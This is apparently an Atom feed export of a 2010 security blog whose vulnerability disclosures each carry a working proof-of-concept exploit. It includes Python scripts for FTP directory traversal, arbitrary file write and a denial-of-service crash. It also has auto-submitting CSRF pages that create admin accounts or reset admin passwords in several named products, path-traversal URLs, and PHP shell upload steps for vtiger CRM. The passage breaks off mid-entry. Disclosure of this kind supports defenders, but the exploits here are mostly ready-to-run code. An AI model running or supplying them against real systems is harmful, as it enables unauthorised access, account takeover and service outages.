style="font-style:italic;"&gt;get_boot_ini.py&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="py"&gt;import sys, socket, re&lt;br /&gt;&lt;br /&gt;host = 'localhost'&lt;br /&gt;port = 21&lt;br /&gt;user = 'anonymous'&lt;br /&gt;password = ''&lt;br /&gt;&lt;br /&gt;timeout = 8&lt;br /&gt;&lt;br /&gt;buffer_size = 8192&lt;br /&gt;&lt;br /&gt;def get_data_port(s):&lt;br /&gt;    s.send('PASV\r\n')&lt;br /&gt;    &lt;br /&gt;    resp =  s.recv(buffer_size)&lt;br /&gt;&lt;br /&gt;    pasv_info = re.search(u'(\d+),' * 5 + u'(\d+)', resp)&lt;br /&gt;&lt;br /&gt;    if (pasv_info == None):&lt;br /&gt;        raise Exception(resp)&lt;br /&gt;                    &lt;br /&gt;    return int(pasv_info.group(5)) * 256 + int(pasv_info.group(6))&lt;br /&gt;&lt;br /&gt;def retr_file(s, filename):&lt;br /&gt;    pasv_port = get_data_port(s)&lt;br /&gt;&lt;br /&gt;    if (pasv_port == None):        &lt;br /&gt;        return None    &lt;br /&gt;&lt;br /&gt;    s.send('RETR ' + filename + '\r\n')&lt;br /&gt;    resp = s.recv(8192)    &lt;br /&gt;&lt;br /&gt;    if resp[:3] != '150': raise Exception(resp)&lt;br /&gt;&lt;br /&gt;    print resp&lt;br /&gt;    &lt;br /&gt;    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    &lt;br /&gt;    s2.connect((host, pasv_port))&lt;br /&gt;    s2.settimeout(2.0)                                     &lt;br /&gt;    resp = s2.recv(8192)&lt;br /&gt;    s2.close()    &lt;br /&gt;&lt;br /&gt;    return resp&lt;br /&gt;&lt;br /&gt;def get_file(filename):&lt;br /&gt;    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;    s.connect((host, port))&lt;br /&gt;    s.settimeout(timeout)&lt;br /&gt;&lt;br /&gt;    print s.recv(buffer_size)            &lt;br /&gt;&lt;br /&gt;    s.send('USER ' + user + '\r\n')                   &lt;br /&gt;    print s.recv(buffer_size)            &lt;br /&gt;&lt;br /&gt;    s.send('PASS ' + password + '\r\n')               &lt;br /&gt;    print s.recv(buffer_size)&lt;br /&gt;&lt;br /&gt;    print retr_file(s, filename)&lt;br /&gt;&lt;br /&gt;    print s.recv(buffer_size)        &lt;br /&gt;&lt;br /&gt;    s.close()&lt;br /&gt;&lt;br /&gt;get_file('c:\\boot.ini')&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-3338827789283077880?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/3338827789283077880/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/home-ftp-server-1102143-directory.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3338827789283077880'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3338827789283077880'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/home-ftp-server-1102143-directory.html' title='Home FTP Server 1.10.2.143 Directory Traversal'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-1767931284235349623</id><published>2010-05-26T14:23:00.000-07:00</published><updated>2010-05-26T14:34:57.392-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cross-site Request Forgery'/><category scheme='http://www.blogger.com/atom/ns#' term='CSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='Brekeke PBX 2.4.4.8'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Brekeke PBX 2.4.4.8 Cross-site Request Forgery</title><content type='html'>A cross-site request forgery vulnerability in Brekeke PBX 2.4.4.8 can be exploited via GET request to change the admin password. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="html"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;    &amp;lt;img src="http://localhost:28080/pbx/gate?bean=pbxadmin.web.PbxUserEdit&amp;user=sa&amp;disabled=false&amp;name=&amp;language=en&amp;password=new_password&amp;password2=new_password&amp;phoneforward=&amp;ringertime=60&amp;noanswerforward=vmsa&amp;noanswerforward.voicemail=on&amp;busyforward=vmsa&amp;busyforward.voicemail=on&amp;dtmfcommand=true&amp;defaultpickup=&amp;index=1&amp;greetingtype=3&amp;recordlength=&amp;messageforward=&amp;email=&amp;emailnotification=true&amp;emailattachment=true&amp;admin=true&amp;userplugin=user&amp;personalivr=&amp;rtprelay=default&amp;payload=&amp;useremotepayload=default&amp;recording=false&amp;canjoin=true&amp;allowjoin=true&amp;aotomonitor=&amp;maxsessioncount=-1&amp;resourcemap=&amp;operation=store" /&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-1767931284235349623?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/1767931284235349623/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/brekeke-pbx-2448-cross-site-request.html#comment-form' title='91 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1767931284235349623'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1767931284235349623'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/brekeke-pbx-2448-cross-site-request.html' title='Brekeke PBX 2.4.4.8 Cross-site Request Forgery'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>91</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-110838151086431209</id><published>2010-05-26T14:19:00.000-07:00</published><updated>2010-05-26T14:35:09.269-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Pacific Timesheet 6.74'/><category scheme='http://www.blogger.com/atom/ns#' term='Cross-site Request Forgery'/><category scheme='http://www.blogger.com/atom/ns#' term='CSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Pacific Timesheet 6.74 Cross-site Request Forgery</title><content type='html'>A cross-site request forgery vulnerability in Pacific Timesheet 6.74 can be exploited via GET request to create a new admin.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="html"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;    &amp;lt;img src="http://localhost/timesheet/user/user-set.do?userId=0&amp;flag=&amp;cloneId=&amp;wizard-page=1&amp;loginX=new_admin&amp;passwordX=password&amp;passwordConfirmX=password&amp;firstName=&amp;lastName=a&amp;uid=&amp;status=A&amp;roleId=1&amp;type=&amp;policyId=1&amp;jobTitle=&amp;groupId=0&amp;billRateId=0&amp;billRate=&amp;payRateId=0&amp;payRate=&amp;salary=&amp;firstDay=5%2F22%2F2010&amp;lastDay=&amp;scheduledDay%5B1%5D=on&amp;scheduledDay%5B2%5D=on&amp;scheduledDay%5B3%5D=on&amp;scheduledDay%5B4%5D=on&amp;scheduledDay%5B5%5D=on&amp;scheduledHours=&amp;scheduledHoursPerDay=&amp;scheduledIn=&amp;scheduledOut=&amp;email=&amp;phone=&amp;mobile=&amp;fax=&amp;timeSheetId=1&amp;carryForward=1&amp;timeFormat=0&amp;locale=en_US&amp;timeZone=America%2FNew_York&amp;apprv0Id=0&amp;apprv0bId=0" /&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-110838151086431209?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/110838151086431209/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/pacific-timesheet-674-cross-site.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/110838151086431209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/110838151086431209'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/pacific-timesheet-674-cross-site.html' title='Pacific Timesheet 6.74 Cross-site Request Forgery'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-2701430404905439325</id><published>2010-05-26T14:17:00.000-07:00</published><updated>2010-05-26T14:35:22.342-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cross-site Request Forgery'/><category scheme='http://www.blogger.com/atom/ns#' term='CSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='Home FTP Server 1.10.2.143'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Home FTP Server 1.10.2.143 Cross-site Request Forgery</title><content type='html'>A cross-site request forgery vulnerability in Home FTP Server 1.10.2.143 can be exploited via GET request to create an admin account with all permissions (read, write, delete, etc.)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="html"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;    &amp;lt;img src="http://localhost/?addnewmember=new_user&amp;pass=Password1&amp;home=c:\&amp;allowdownload=on&amp;allowupload=on&amp;allowrename=on&amp;allowdeletefile=on&amp;allowchangedir=on&amp;allowcreatedir=on&amp;allowdeletedir=on&amp;virtualdir=&amp;filecontrol=" /&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-2701430404905439325?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/2701430404905439325/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/home-ftp-server-1102143-cross-site.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/2701430404905439325'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/2701430404905439325'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/home-ftp-server-1102143-cross-site.html' title='Home FTP Server 1.10.2.143 Cross-site Request Forgery'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-8830940568981711697</id><published>2010-05-23T17:37:00.000-07:00</published><updated>2010-05-23T17:38:41.061-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tele Data&apos;s Contact Management Server 0.9'/><category scheme='http://www.blogger.com/atom/ns#' term='Arbitrary File Write'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Tele Data's Contact Management Server 0.9 Arbitrary File Write</title><content type='html'>An arbitrary file write vulnerability in &lt;a href="http://teledata.qc.ca/td_cms/TD_CMS_SETUPEX.exe"&gt;Tele Data's Contact Management Server 0.9&lt;/a&gt; can be exploited to write to the local file system of the server.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;Login as an administrator and navigate to &lt;a href="http://localhost/command.html?Cmd=SQL_Save&amp;SQL=hello%20world&amp;FileName=..\..\..\..\..\..\..\..\..\x.txt"&gt;http://localhost/command.html?Cmd=SQL_Save&amp;SQL=hello%20world&amp;FileName=..\..\..\..\..\..\..\..\..\x.txt&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-8830940568981711697?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/8830940568981711697/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/tele-datas-contact-management-server-09_23.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/8830940568981711697'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/8830940568981711697'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/tele-datas-contact-management-server-09_23.html' title='Tele Data&apos;s Contact Management Server 0.9 Arbitrary File Write'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-3114206186642356287</id><published>2010-05-23T17:35:00.000-07:00</published><updated>2010-05-23T17:37:21.305-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='LFI'/><category scheme='http://www.blogger.com/atom/ns#' term='Local File Inclusion'/><category scheme='http://www.blogger.com/atom/ns#' term='Tele Data&apos;s Contact Management Server 0.9'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Tele Data's Contact Management Server 0.9 Local File Inclusion</title><content type='html'>A local file inclusion vulnerability in &lt;a href="http://teledata.qc.ca/td_cms/TD_CMS_SETUPEX.exe"&gt;Tele Data's Contact Management Server 0.9&lt;/a&gt; can be exploited to read files from the server file system.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;br /&gt;Login as an administrator and navigate to &lt;a href="http://localhost/command.html?Cmd=SQL_Load&amp;FileName=..\..\..\..\..\..\..\..\..\boot.ini"&gt;http://localhost/command.html?Cmd=SQL_Load&amp;FileName=..\..\..\..\..\..\..\..\..\boot.ini&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-3114206186642356287?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/3114206186642356287/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/tele-datas-contact-management-server-09.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3114206186642356287'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3114206186642356287'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/tele-datas-contact-management-server-09.html' title='Tele Data&apos;s Contact Management Server 0.9 Local File Inclusion'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-7812737392372151215</id><published>2010-05-23T13:47:00.000-07:00</published><updated>2010-05-23T13:52:21.817-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Open Forum Server 2.2 b005'/><category scheme='http://www.blogger.com/atom/ns#' term='Arbitrary File Write'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Open Forum Server 2.2 b005 Arbitrary File Write</title><content type='html'>An arbitrary file write vulnerability in the saveAsAttachment method of Open Forum Server 2.2 b005 can be exploited to write to the local file system of the server.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Exploit&lt;/span&gt;&lt;br /&gt;Upload a get.sjs file that calls the vulnerable method. Request the script's containing folder.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;pre name="code" class="py"&gt;import sys, socket&lt;br /&gt;host = 'localhost'&lt;br /&gt;port = 80&lt;br /&gt;&lt;br /&gt;def send_request(request):&lt;br /&gt;    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;    s.settimeout(32) # sometimes it takes a while&lt;br /&gt;    s.connect((host, port))&lt;br /&gt;    s.send(request)&lt;br /&gt;&lt;br /&gt;    response = s.recv(8192) + s.recv(8192) # a hack within a hack   &lt;br /&gt;&lt;br /&gt;    return response&lt;br /&gt;&lt;br /&gt;def write_file():&lt;br /&gt;    try:&lt;br /&gt;        content = '----x--\r\n'\&lt;br /&gt;                  'Content-Disposition: form-data; name="file"; filename="get.sjs"\r\n'\&lt;br /&gt;                  'Content-Type: application/octet-stream\r\n\r\n'\&lt;br /&gt;                  'fileName = "' + '..\\\\' * 256 + 'x.txt";\r\n'\&lt;br /&gt;                  'data = "hello, world";\r\n'\&lt;br /&gt;                  'user = transaction.getUser();\r\n'\&lt;br /&gt;                  'wiki.saveAsAttachment("x",fileName,data,user);\r\n'\&lt;br /&gt;                  'transaction.sendPage("File Written");\r\n\r\n'\&lt;br /&gt;                  '----x----\r\n'&lt;br /&gt;        &lt;br /&gt;        response = send_request('POST OpenForum/Actions/Attach?page=OpenForum HTTP/1.1\r\n'&lt;br /&gt;                                'Host: ' + host + '\r\n'&lt;br /&gt;                                'Content-Type: multipart/form-data; boundary=--x--\r\n'&lt;br /&gt;                                'Content-Length: ' + str(len(content)) + '\r\n\r\n' + content)&lt;br /&gt;&lt;br /&gt;        if 'HTTP/1.1 302 Redirect' not in response:&lt;br /&gt;            print 'Error writing get.sjs'&lt;br /&gt;            return&lt;br /&gt;        else: print 'get.sjs created'&lt;br /&gt;        &lt;br /&gt;        response = send_request('GET OpenForum HTTP/1.1\r\n'&lt;br /&gt;                                'Host: ' + host + '\r\n\r\n')&lt;br /&gt;&lt;br /&gt;        if 'File Written' not in response:&lt;br /&gt;            print 'Error writing to root'&lt;br /&gt;            return&lt;br /&gt;        else: print 'x.txt created in root'&lt;br /&gt;        &lt;br /&gt;    except Exception:&lt;br /&gt;        print sys.exc_info()          &lt;br /&gt;&lt;br /&gt;write_file()&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-7812737392372151215?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/7812737392372151215/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/open-forum-server-22-b005-arbitrary.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/7812737392372151215'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/7812737392372151215'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/open-forum-server-22-b005-arbitrary.html' title='Open Forum Server 2.2 b005 Arbitrary File Write'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-3303334146651702637</id><published>2010-05-21T17:09:00.000-07:00</published><updated>2010-05-21T17:53:52.155-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vtiger CRM 5.2.0'/><category scheme='http://www.blogger.com/atom/ns#' term='Shell Upload'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>vtiger CRM 5.2.0 Shell Upload</title><content type='html'>A shell upload vunlerability in vtiger CRM 5.2.0 can be exploited to execute arbitrary PHP.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Exploit&lt;/span&gt;&lt;br /&gt;Upload a PHP file and append a backslash to the filename_hidden value.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;ol&gt;&lt;br /&gt;&lt;li&gt;Login and navigate to &lt;a href="http://localhost/index.php?action=upload&amp;module=uploads"&gt;http://localhost/index.php?action=upload&amp;module=uploads&lt;/a&gt; and upload a PHP file.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Capture the packet using a debugging proxy, append a backslash to the filename_hidden value, and submit it. e.g.&lt;br /&gt;&lt;br /&gt;------WebKitFormBoundaryihWhA69lH4hKrGBy&lt;br /&gt;Content-Disposition: form-data; name="filename_hidden"&lt;br /&gt;&lt;br /&gt;shell.php\&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Navigate to the uploaded file http://localhost/storage/{Year}/{Month}/{Week}/{file} e.g. &lt;a href="http://localhost/storage/2010/May/week3/shell.php"&gt;http://localhost/storage/2010/May/week3/shell.php&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-3303334146651702637?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/3303334146651702637/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/vtiger-crm-520-shell-upload.html#comment-form' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3303334146651702637'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3303334146651702637'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/vtiger-crm-520-shell-upload.html' title='vtiger CRM 5.2.0 Shell Upload'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-7103746183384059966</id><published>2010-05-21T16:53:00.000-07:00</published><updated>2010-05-21T17:17:13.245-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cross-site Request Forgery'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>vtiger CRM 5.2.0 XSRF</title><content type='html'>A cross-site request forgery vunlerability in &lt;a href="http://sourceforge.net/projects/vtigercrm/files/"&gt;vtiger CRM 5.2.0&lt;/a&gt; can be exploited to create an new admin. The form values can also be sent via GET request, but the resulting user does not have admin privileges.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC:&lt;/span&gt;&lt;pre name="code" class="html"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;    &amp;lt;body onload="document.forms[0].submit()"&amp;gt;        &lt;br /&gt;        &amp;lt;form name="EditView" method="post" action="http://localhost/index.php"&amp;gt;            &lt;br /&gt;            &amp;lt;input type="hidden" name="module" value="Users" /&amp;gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="mode" value="create" /&amp;gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="action" value="Save" /&amp;gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="user_name" value="new_user" /&amp;gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="is_admin" value="on" /&amp;gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="user_password" value="new_password" /&amp;gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="confirm_password" value="new_password" /&amp;gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="email1" value="test@test.com" /&amp;gt;&lt;br /&gt;            &amp;lt;input type="hidden" name="status" value="Active" /&amp;gt;&lt;br /&gt;        &amp;lt;/form&amp;gt;&lt;br /&gt;    &amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-7103746183384059966?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/7103746183384059966/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/vtiger-crm-520-xsrf.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/7103746183384059966'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/7103746183384059966'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/vtiger-crm-520-xsrf.html' title='vtiger CRM 5.2.0 XSRF'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-7578816534328271413</id><published>2010-05-17T20:44:00.000-07:00</published><updated>2010-05-17T20:48:15.213-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Fortitude HTTP'/><category scheme='http://www.blogger.com/atom/ns#' term='Denial-of-Service'/><category scheme='http://www.blogger.com/atom/ns#' term='http server'/><category scheme='http://www.blogger.com/atom/ns#' term='DoS Attack'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Fortitude HTTP 1.0.1.6 Denial-of-Service</title><content type='html'>&lt;a href="http://www.networkdls.com/Download/HTTPServer32.exe"&gt;Fortitude HTTP 1.0.1.6&lt;/a&gt; crashes upon receving an HTTP request containing a relative resource path with an excessive number of slashes.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Exploit&lt;/span&gt;&lt;br /&gt;GET / * 8192 HTTP 1.1&lt;br /&gt;Host: localhost&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC&lt;/span&gt;&lt;pre name="code" class="py"&gt;import socket&lt;br /&gt;host ='localhost'&lt;br /&gt;port = 80&lt;br /&gt;&lt;br /&gt;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;s.connect((host, port))&lt;br /&gt;&lt;br /&gt;s.send('GET ' + '/' * 8192 + ' HTTP/1.1\r\n'&lt;br /&gt;       'Host: ' + host + '\r\n\r\n')&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-7578816534328271413?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/7578816534328271413/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/fortitude-http-1016-denial-of-service.html#comment-form' title='3 Comments'/><link rel='edit' 